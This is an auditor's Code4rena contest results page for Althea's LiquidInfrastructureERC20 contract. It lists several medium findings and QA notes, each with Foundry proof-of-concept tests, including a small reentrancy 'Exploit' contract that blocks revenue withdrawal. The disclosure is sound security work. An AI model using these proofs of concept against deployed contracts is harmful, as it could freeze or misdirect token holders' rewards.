Althea Liquid Infrastructure - SpicyMeatball's results

Liquid Infrastructure.

General Information

Platform: Code4rena

Start Date: 13/02/2024

Pot Size: $24,500 USDC

Total HM: 5

Participants: 84

Period: 6 days

Judge: 0xA5DF

Id: 331

League: ETH

Althea

Findings Distribution

Researcher Performance

Rank: 5/84

Findings: 5

Award: $511.85

๐ŸŒŸ Selected for report: 1

๐Ÿš€ Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

Vulnerability details

Impact

Every time tokens are burned, address(0) is pushed into holder array. This will further inflate already significant holders array and increase the likelihood of OOG reverts.

Proof of Concept

Because address(0) doesn't hold any liquidity tokens, every time there is a transfer with to == address(0), the check below https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142

        bool exists = (this.balanceOf(to) != 0);
        if (!exists) {
            holders.push(to);
        }
    }

will push address(0) into holders array.

Coded POC for Foundry We need to make holders array public to run this test https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L48

+ address[] public holders;
import {LiquidInfrastructureERC20, ERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

contract MockToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract C4 is Test {
    LiquidInfrastructureERC20 liqERC20;
    MockToken usdc;
    address alice;
    address bob;
    function setUp() public {
        alice = address(0xa11cE);
        bob = address(0xb0b);
        usdc = new MockToken("USDC", "USDC");
        address[] memory rewards = new address[](1);
        rewards[0] = address(usdc);
        address[] memory approved = new address[](3);
        approved[0] = address(this);
        approved[1] = alice;
        approved[2] = bob;
        address[] memory nfts = new address[](3);
        nfts[0] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[1] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[2] = address(new LiquidInfrastructureNFT("NAME"));
        liqERC20 = new LiquidInfrastructureERC20("LIQ", "LIQ", nfts, approved, 10, rewards);
        for(uint256 i=0; i<nfts.length; i++) {
            usdc.mint(nfts[i], 1_000_000 * 1e18);
            LiquidInfrastructureNFT(nfts[i]).setThresholds(rewards, new uint256[](1));
            LiquidInfrastructureNFT(nfts[i]).transferFrom(address(this), address(liqERC20), 1);
        }
    }

    function testZeroAddressPush() public {
        liqERC20.mint(alice, 10_000 * 1e18);
        vm.startPrank(alice);
        liqERC20.burn(1);
        liqERC20.burn(1);
        liqERC20.burn(1);
        assertEq(liqERC20.holders(0), alice);
        assertEq(liqERC20.holders(1), address(0));
        assertEq(liqERC20.holders(2), address(0));
        assertEq(liqERC20.holders(3), address(0));
    }
}

Tools Used

Foundry

+       if (!exists && to != address(0)) {
            holders.push(to);
        }
    }

Assessed type

Error

#0 - c4-pre-sort

2024-02-20T06:31:09Z

0xRobocop marked the issue as duplicate of #727

#1 - c4-pre-sort

2024-02-20T06:34:08Z

0xRobocop marked the issue as duplicate of #77

#2 - c4-judge

2024-03-04T13:06:25Z

0xA5DF marked the issue as satisfactory

Awards

80.5583 USDC - $80.56

Labels

bug
2 (Med Risk)
satisfactory
duplicate-703

External Links

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L270-L275 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L216

Vulnerability details

Impact

Rewards that were intended for holders who were disapproved will remain in the contract.

Proof of Concept

To calculate reward shares for all holders, the contract uses the following formula: total reward * holder balance / total supply https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L270-L277

>>      uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
>>          uint256 entitlement = balance / supply;
            erc20EntitlementPerUnit.push(entitlement);
        }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L222-L223

>>          if (isApprovedHolder(recipient)) {
                uint256[] memory receipts = new uint256[](
                    distributableERC20s.length
                );
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
>>                  uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

Note, if holder is disapproved we don't transfer anything. Since we are using total supply this.totalSupply(), disapproved users will still have entitlement allocated to them, but the contract won't transfer it and as a result part of rewards will remain in the contract undistributed.

Coded POC for Foundry

import {LiquidInfrastructureERC20, ERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

contract MockToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract C4 is Test {
    LiquidInfrastructureERC20 liqERC20;
    MockToken usdc;
    address alice;
    address bob;
    function setUp() public {
        alice = address(0xa11cE);
        bob = address(0xb0b);
        usdc = new MockToken("USDC", "USDC");
        address[] memory rewards = new address[](1);
        rewards[0] = address(usdc);
        address[] memory approved = new address[](3);
        approved[0] = address(this);
        approved[1] = alice;
        approved[2] = bob;
        address[] memory nfts = new address[](3);
        nfts[0] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[1] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[2] = address(new LiquidInfrastructureNFT("NAME"));
        liqERC20 = new LiquidInfrastructureERC20("LIQ", "LIQ", nfts, approved, 10, rewards);
        for(uint256 i=0; i<nfts.length; i++) {
            usdc.mint(nfts[i], 1_000_000 * 1e18);
            LiquidInfrastructureNFT(nfts[i]).setThresholds(rewards, new uint256[](1));
            LiquidInfrastructureNFT(nfts[i]).transferFrom(address(this), address(liqERC20), 1);
        }
    }

    function testTokenStuck() public {
        liqERC20.mint(alice, 10_000 * 1e18);
        liqERC20.mint(bob, 10_000 * 1e18);
        liqERC20.withdrawFromAllManagedNFTs();
        assertEq(usdc.balanceOf(address(liqERC20)), 3_000_000 * 1e18);
        vm.roll(11);
        // disapprove bob
        liqERC20.disapproveHolder(bob);
        liqERC20.distribute(2);
        // bob's reward is stuck
        assertEq(usdc.balanceOf(address(liqERC20)), 1_500_000 * 1e18);
    }
}

Tools Used

Foundry

We can burn liqudity tokens from disapproved holder, or if it is too harsh, we can add a holderSupply storage variable and use it instead of this.totalSupply() to calculate shares.

Assessed type

Token-Transfer

#0 - c4-pre-sort

2024-02-20T03:59:51Z

0xRobocop marked the issue as primary issue

#1 - c4-pre-sort

2024-02-20T04:02:02Z

0xRobocop marked the issue as sufficient quality report

#2 - c4-pre-sort

2024-02-20T04:06:37Z

0xRobocop marked the issue as remove high or low quality report

#3 - c4-pre-sort

2024-02-20T04:07:00Z

0xRobocop marked the issue as duplicate of #703

#4 - c4-judge

2024-03-04T14:36:13Z

0xA5DF marked the issue as satisfactory

Awards

25.7286 USDC - $25.73

Labels

2 (Med Risk)
satisfactory
duplicate-87

External Links

Judge has assessed an item in Issue #51 as 2 risk. The relevant finding follows:

Updating distributableERC20s array during distribution phase may break the entitlement accounting

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L205 When distribute function is called, the contract precalculates entitlement values for tokens stored in distributableERC20s array

        // Calculate the entitlement per token held
        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
>>          erc20EntitlementPerUnit.push(entitlement);
        }

Note that the entitlements are pushed into the array in the same order that tokens are stored in distributableERC20s. If the contract owner attempts to change distributable tokens with setDistributableERC20s during the distribution phase

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

, and new tokens are stored in a different order, wrong amounts will be distributed. https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L220

                for (uint j = 0; j < distributableERC20s.length; j++) {
>>                  IERC20 toDistribute = IERC20(distributableERC20s[j]);
>>                  uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

Consider adding this check to setDistributableERC20s

require(!LockedForDistribution,"distribution is in process");

#0 - c4-judge

2024-03-09T08:01:41Z

0xA5DF marked the issue as duplicate of #87

#1 - c4-judge

2024-03-09T08:01:45Z

0xA5DF marked the issue as satisfactory

Findings Information

Awards

314.7486 USDC - $314.75

Labels

bug
2 (Med Risk)
satisfactory
duplicate-82

External Links

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L425-L426

Vulnerability details

Impact

withdrawFromManagedNFTs may skip withdrawal from some NFTs under a certain circumstances.

Proof of Concept

Consider a situation, LiquidInfrastructureERC20.sol manages 10 NFTs. Owner decides to release NFT#1 and NFT#2, he wants to collect revenues from NFT#1 and transfer NFT#2 to receiver with uncollected revenues. So he calls withdrawFromManagedNFTs(1) and then releaseManagedNFT(nft1, receiver), releaseManagedNFT(nft2, receiver).

Let's check releaseManagedNFT function

    function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        nft.transferFrom(address(this), to, nft.AccountId());

        // Remove the released NFT from the collection
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
            if (managed == nftContract) {
                // Delete by copying in the last element and then pop the end
>>              ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
>>              ManagedNFTs.pop();
                break;
            }
        }
        // By this point the NFT should have been found and removed from ManagedNFTs
        require(true, "unable to find released NFT in ManagedNFTs");       

note how last NFT is switched with a released one, this may cause troubles in our case, since nextWithdrawal counter is set to 2

    function withdrawFromManagedNFTs(uint256 numWithdrawals) public {
        require(!LockedForDistribution, "cannot withdraw during distribution");

        if (nextWithdrawal == 0) {
            emit WithdrawalStarted();
        }

        uint256 limit = Math.min(
            numWithdrawals + nextWithdrawal,
            ManagedNFTs.length
        );
        uint256 i;
>>      for (i = nextWithdrawal; i < limit; i++) {
            LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
                ManagedNFTs[i]
            );

            (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
            withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
            emit Withdrawal(address(withdrawFrom));
        }
>>      nextWithdrawal = i;

        if (nextWithdrawal == ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }
    }

Next time withdrawal is called NFT#9 and NFT#10 will not send their balances to the liquidity contract. One might assume that it's not a big deal, the owner can call the withdrawal function again. But in real life the contract may manage a hundreds of NFTs and calling withdrawal again may incur additional costs.

Coded POC for Foundry

import {LiquidInfrastructureERC20, ERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

contract MockToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract C4 is Test {
    LiquidInfrastructureERC20 liqERC20;
    MockToken usdc;
    address alice;
    address bob;
    function setUp() public {
        alice = address(0xa11cE);
        bob = address(0xb0b);
        usdc = new MockToken("USDC", "USDC");
        address[] memory rewards = new address[](1);
        rewards[0] = address(usdc);
        address[] memory approved = new address[](3);
        approved[0] = address(this);
        approved[1] = alice;
        approved[2] = bob;
        address[] memory nfts = new address[](3);
        nfts[0] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[1] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[2] = address(new LiquidInfrastructureNFT("NAME"));
        liqERC20 = new LiquidInfrastructureERC20("LIQ", "LIQ", nfts, approved, 10, rewards);
        for(uint256 i=0; i<nfts.length; i++) {
            usdc.mint(nfts[i], 1_000_000 * 1e18);
            LiquidInfrastructureNFT(nfts[i]).setThresholds(rewards, new uint256[](1));
            LiquidInfrastructureNFT(nfts[i]).transferFrom(address(this), address(liqERC20), 1);
        }
    }

    function testWithdrawSkip() public {
        address toRelease = liqERC20.ManagedNFTs(0);
        liqERC20.withdrawFromManagedNFTs(1);
        liqERC20.releaseManagedNFT(toRelease, alice);
        liqERC20.withdrawFromAllManagedNFTs();
        // assertion fail
        assertEq(usdc.balanceOf(address(liqERC20)), 3_000_000 * 1e18);// 2M != 3M
    }
}

Tools Used

Foundry

Disable NFT release if nextWithdrawal != 0

Assessed type

Other

#0 - c4-pre-sort

2024-02-22T05:28:48Z

0xRobocop marked the issue as duplicate of #130

#1 - c4-judge

2024-03-03T13:02:22Z

0xA5DF marked the issue as satisfactory

Findings Information

Awards

314.7486 USDC - $314.75

Labels

bug
2 (Med Risk)
primary issue
selected for report
M-04

External Links

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L382-L383 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L426

Vulnerability details

Impact

If nextWithdrawal > ManagedNFTs.length, the contract won't be able to withdraw revenue from managed NFTs, because nextWithdrawal can't reset.

        uint256 limit = Math.min(
            numWithdrawals + nextWithdrawal,
            ManagedNFTs.length
        );
        uint256 i;
>>      for (i = nextWithdrawal; i < limit; i++) {
            LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
                ManagedNFTs[i]
            );

            (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
            withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
            emit Withdrawal(address(withdrawFrom));
        }
        nextWithdrawal = i;

>>      if (nextWithdrawal == ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }

Proof of Concept

How nextWithdrawal can become greater than ManagedNFTs length? Multiple causes:

Coded POC for onERC721Received callback reentrancy case

import {LiquidInfrastructureERC20, ERC20} from "../contracts/LiquidInfrastructureERC20.sol";
import {LiquidInfrastructureNFT} from "../contracts/LiquidInfrastructureNFT.sol";
import {Test} from "forge-std/Test.sol";
import "forge-std/console.sol";

contract Exploit {
    LiquidInfrastructureERC20 target;
    constructor(LiquidInfrastructureERC20 _target) {
        target = _target;
    }
    function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
        // set counter
        target.withdrawFromManagedNFTs(2);
        return this.onERC721Received.selector;
    }
}

contract MockToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract C4 is Test {
    LiquidInfrastructureERC20 liqERC20;
    MockToken usdc;
    address alice;
    address bob;
    function setUp() public {
        alice = address(0xa11cE);
        bob = address(0xb0b);
        usdc = new MockToken("USDC", "USDC");
        address[] memory rewards = new address[](1);
        rewards[0] = address(usdc);
        address[] memory approved = new address[](3);
        approved[0] = address(this);
        approved[1] = alice;
        approved[2] = bob;
        address[] memory nfts = new address[](3);
        nfts[0] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[1] = address(new LiquidInfrastructureNFT("NAME"));
        nfts[2] = address(new LiquidInfrastructureNFT("NAME"));
        liqERC20 = new LiquidInfrastructureERC20("LIQ", "LIQ", nfts, approved, 10, rewards);
        for(uint256 i=0; i<nfts.length; i++) {
            usdc.mint(nfts[i], 1_000_000 * 1e18);
            LiquidInfrastructureNFT(nfts[i]).setThresholds(rewards, new uint256[](1));
            LiquidInfrastructureNFT(nfts[i]).transferFrom(address(this), address(liqERC20), 1);
        }
    }

    function testWithdrawDOS() public {
        Exploit exploit = new Exploit(liqERC20);
        address nft = liqERC20.ManagedNFTs(0);
        address toRelease1 = liqERC20.ManagedNFTs(1);
        address toRelease2 = liqERC20.ManagedNFTs(2);

        liqERC20.withdrawFromAllManagedNFTs();
        assertEq(usdc.balanceOf(address(liqERC20)), 3_000_000 * 1e18);
        uint256 balBefore = usdc.balanceOf(address(liqERC20));
        liqERC20.releaseManagedNFT(toRelease2, address(exploit));
        liqERC20.releaseManagedNFT(toRelease1, alice);
        // new rewards are ready
        usdc.mint(nft, 1_000_000 * 1e18);
        liqERC20.withdrawFromAllManagedNFTs();
        uint256 balAfter = usdc.balanceOf(address(liqERC20));
        // 1 mil wasn't withdrawn
        assertEq(balBefore, balAfter);
    }

}

Tools Used

Foundry

Consider modifying the check https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L382

+       if (nextWithdrawal >= ManagedNFTs.length) {
            nextWithdrawal = 0;
            emit WithdrawalFinished();
        }

Assessed type

DoS

#0 - c4-pre-sort

2024-02-21T04:38:51Z

0xRobocop marked the issue as duplicate of #130

#1 - c4-judge

2024-03-03T13:06:55Z

0xA5DF marked the issue as selected for report

Findings Information

Labels

bug
grade-a
high quality report
QA (Quality Assurance)
sponsor acknowledged
edited-by-warden
Q-09

Awards

83.634 USDC - $83.63

External Links

LiquidInfrastructureERC20.sol doesn't have the ability to call recoverAccount

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureNFT.sol#L27-L31

Occassionally devices and wallets can be lost, in which case the owner of this contract can call recoverAccount() to begin a recovery process which will finish after the transaction completes. Asynchronously the x/microtx module will ignore thresholds and transfer all of the Liquid Account's balances to this NFT, which may be withdrawn normally with withdrawBalances().

Currently there is no way to call recoverAccount(), in case of emergency, if NFT belongs to LiquidInfrastructureERC20.sol contract.

Some ERC20 tokens may become stuck inside LiquidInfrastructureERC20.sol

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L220

>>              for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

When withdrawFromManagedNFTs is called all tokens from thresholdsErc20s array https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureNFT.sol#L39 are transferred to the LiquidInfrastructureERC20.sol address https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L376-L377

        for (i = nextWithdrawal; i < limit; i++) {
            LiquidInfrastructureNFT withdrawFrom = LiquidInfrastructureNFT(
                ManagedNFTs[i]
            );

>>          (address[] memory withdrawERC20s, ) = withdrawFrom.getThresholds();
>>          withdrawFrom.withdrawBalancesTo(withdrawERC20s, address(this));
            emit Withdrawal(address(withdrawFrom));
        }

However, there is no check if tokens from withdrawERC20s are in distributableERC20s array. As a result some tokens may be undistributed.

No duplicates check in addManagedNFT

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L394-L403

    function addManagedNFT(address nftContract) public onlyOwner {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        address nftOwner = nft.ownerOf(nft.AccountId());
        require(
            nftOwner == address(this),
            "this contract does not own the new ManagedNFT"
        );
>>      ManagedNFTs.push(nftContract);
        emit AddManagedNFT(nftContract);
    }

When the owner adds a new liquidity NFT there is no check if it's already present in ManagedNFTs array. If it is later released, only one duplicate address is removed.

    function releaseManagedNFT(
        address nftContract,
        address to
    ) public onlyOwner nonReentrant {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        nft.transferFrom(address(this), to, nft.AccountId());

        // Remove the released NFT from the collection
        for (uint i = 0; i < ManagedNFTs.length; i++) {
            address managed = ManagedNFTs[i];
>>          if (managed == nftContract) {
                // Delete by copying in the last element and then pop the end
                ManagedNFTs[i] = ManagedNFTs[ManagedNFTs.length - 1];
                ManagedNFTs.pop();
>>              break;
            }
        }

This will cause a temporarily DOS on withdrawFromManagedNFTs call since liquidity ERC20 doesn't own the NFT. https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L377

Updating distributableERC20s array during distribution phase may break the entitlement accounting

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L205 When distribute function is called, the contract precalculates entitlement values for tokens stored in distributableERC20s array

        // Calculate the entitlement per token held
        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
>>          erc20EntitlementPerUnit.push(entitlement);
        }

Note that the entitlements are pushed into the array in the same order that tokens are stored in distributableERC20s. If the contract owner attempts to change distributable tokens with setDistributableERC20s during the distribution phase

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

, and new tokens are stored in a different order, wrong amounts will be distributed. https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L220

                for (uint j = 0; j < distributableERC20s.length; j++) {
>>                  IERC20 toDistribute = IERC20(distributableERC20s[j]);
>>                  uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

Consider adding this check to setDistributableERC20s

require(!LockedForDistribution,"distribution is in process");

Blacklisted approved holder may temporarily stop the distribution

Some tokens (e.g. USDT, USDC) have a blackist which prevents transferring tokens from or to certain accounts. If one of the approved holders is blacklisted, distribution will revert.

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L224

Some tokens (e.g. USDT) don't return bool value on transfer

NOT MENTIONED IN https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/bot-report.md#m-03-unsafe-use-of-transfertransferfrom-with-ierc20

As a result some receipts won't be included in Distribution event

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L224-L226

                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
>>                  if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

>>              emit Distribution(recipient, distributableERC20s, receipts);

Double check in distribute function

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L200 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L258-L261

Since distribute function is the only entry point for _beginDistribution, and we've already checked !LockedForDistribution, we can discard the same check in _beginDistribution.

constructor doesn't check if the contract is managed NFT owner

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L459

    constructor(
        string memory _name,
        string memory _symbol,
>>      address[] memory _managedNFTs,
        address[] memory _approvedHolders,
        uint256 _minDistributionPeriod,
        address[] memory _distributableErc20s
    ) ERC20(_name, _symbol) Ownable() {
        ManagedNFTs = _managedNFTs;
        LastDistribution = block.number;

        for (uint i = 0; i < _approvedHolders.length; i++) {
            HolderAllowlist[_approvedHolders[i]] = true;
        }

        MinDistributionPeriod = _minDistributionPeriod;

        distributableERC20s = _distributableErc20s;

        emit Deployed();
    }

Consider adding the same check as in addManagedNFT

    function addManagedNFT(address nftContract) public onlyOwner {
        LiquidInfrastructureNFT nft = LiquidInfrastructureNFT(nftContract);
        address nftOwner = nft.ownerOf(nft.AccountId());
>>      require(
            nftOwner == address(this),
            "this contract does not own the new ManagedNFT"
        );
        ManagedNFTs.push(nftContract);
        emit AddManagedNFT(nftContract);
    }

#0 - c4-pre-sort

2024-02-22T16:47:14Z

0xRobocop marked the issue as high quality report

#1 - ChristianBorst

2024-03-01T18:30:03Z

I disagree with a couple of these but the rest are high quality issues.

LiquidInfrastructureERC20.sol doesnโ€™t have the ability to call recoverAccount

Disputed: It does not need to, recoverAccount is a convenience feature which will be made possible on Althea-L1 for users who are managing their LiquidInfrastructureNFTs without a LiquidInfrastructureERC20.

Some ERC20 tokens may become stuck inside LiquidInfrastructureERC20.sol

Disagree with severity: I do not think this is a significant severity issue as the distributableERC20s list could be updated if the "lost" ERC20 tokens are significant, but it is a valid issue. The problems this issue can cause will force the contract owner to perform more manual work, so this issue .

No duplicates check in addManagedNFT

Confirmed: This is a valid DoS attack vector.

Updating distributableERC20s array during distribution phase may break the entitlement accounting

Confirmed: This is valid.

Blacklisted approved holder may temporarily stop the distribution

Acknowledged: This is a valid issue, however Althea-L1's ERC20 contracts will not feature any blacklists so it is not a significant issue. All the ERC20 representations of tokens on Ethereum Mainnet will be coming from Gravity Bridge, so users could simply bridge to a non-blacklisted address and avoid the issue. ERC20s which revert on transfer for any other reason are a valid concern, but we expect the owner to vet the distributableERC20s list and manage the LiquidInfrastructureNFT thresholdERC20s to avoid tokens like this.

Some tokens (e.g. USDT) donโ€™t return bool value on transfer

Confirmed.

Double check in distribute function

Confirmed: This is a valid gas consumption issue.

constructor doesnโ€™t check if the contract is managed NFT owner

Confirmed.

#2 - c4-sponsor

2024-03-02T03:43:00Z

ChristianBorst (sponsor) acknowledged

#3 - 0xA5DF

2024-03-08T11:04:51Z

+L from #68

#4 - 0xA5DF

2024-03-08T13:42:03Z

R R L M L L R L

5L, 3R

#5 - c4-judge

2024-03-08T14:25:21Z

0xA5DF marked the issue as selected for report

#6 - c4-judge

2024-03-09T08:03:57Z

0xA5DF marked the issue as grade-a

#7 - c4-judge

2024-03-09T08:04:00Z

0xA5DF marked the issue as not selected for report

#8 - 0xA5DF

2024-03-09T08:08:20Z

I've updated the grade due to #<x>4 upgrade to med

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax ยฉ 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter